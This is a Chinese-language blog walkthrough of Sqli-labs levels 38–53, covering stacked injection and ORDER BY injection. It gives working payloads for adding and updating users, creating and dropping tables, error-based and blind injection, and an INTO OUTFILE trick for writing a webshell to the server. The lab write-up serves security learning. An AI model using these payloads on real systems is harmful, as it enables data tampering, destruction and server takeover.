Sqli-labs注入训练(page-3)

Less-38:Less-39:Less-40:Less-41:

这几关都是堆叠注入的应用,堆叠注入,顾名思义,就是使用分号将注入语句分开,多次注入,创建新的用户,或者删除用户,创造无限可能。但是需要知道一些数据。

他也有很多的局限性,比如权限不够,或者收到api或数据库引擎的限制。oracle数据库不支持堆叠注入。

构造payload

添加用户 ?id=1';insert into users(id,username,password) values ('30','skk','skkhj')--+ 后面的值一定要用引号引起来。

更新用户?id=1;update users set password='zjwdqc' where id=30--+

Less-42:Less-43:Less-44:Less-45:

查看页面源代码,发现是在username 做了过滤,可以在username中构造语句

username=admin passowrd=c';create table hhhh like users#发现在当前数据库中有一个新的表hhhh

删除表 password=c');drop table hhhh#发现之前创建的表被删除了。

Less-46:

从本章开始我们学习的是order by 的相关注入。

在order by 后面输入?sort=1 会根据字段1来排序,后面跟上desc 会变成升序,asc是降序。我们构造payload的方法由这么几种:

  1. 直接添加注入语句,?sort=(select ****) 后面直接加上要注入的语句

  2. 可以利用一些函数 sort=rand(sql语句) rand(true) 和rand(false)是不一样的

  3. 可以利用报错注入和延时注入。sort=(select count(*) from information_schema.tables group by concat(0x3a,0x3a,(select database()),floor(rand()*2)))--+不知道为什么后面一定要加上floor(rand()*2)才会显示。。。。

    ?sort=rand(ascii(substr(database(),1,1))=118)--+另一种

  4. 延时注入 可以利用sort=1 and 注入语句

  5. procedure analyse 参数爆错注入 sort=1 procedure analyse(extractvalue(1,concat(0x3a,database(),0x3a)))--+ 不知道为什么我不行

  6. 导入导出文件 into otfile参数 sort=1 into outfile "D:\\phpstudy_pro\\WWW\\test1.txt"lines terminated by 0x6768683c3e利用lines perminated by 创建大马

Less-47:

利用上面的手段都可以得到结果。

Less-48:Less-49:

这一关和46关的不一样的地方就是不能报错注入,没有错误回显,所以我们可以用sort(true/false)来判断,还可以使用延时注入。

Less-50:Less-51:Less-52:Less-53:

这一关开始是order by stacked injection 注入。

执行sql 语句这里用的是mysqli-mulyi-query() 和之前的mysqli_query()不一样的地方是可以执行多条sql语句。这就和之前的一样了。

就这样我们来到了page-4!

page-4是将上面的全部结合起来考核的,这个我就不写了,方法在上面已经介绍的差不多了。

Donate
  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.
  • Copyrights © 2023 Limbus
  • Visitors: | Views:

请我喝杯茶吧~

支付宝
微信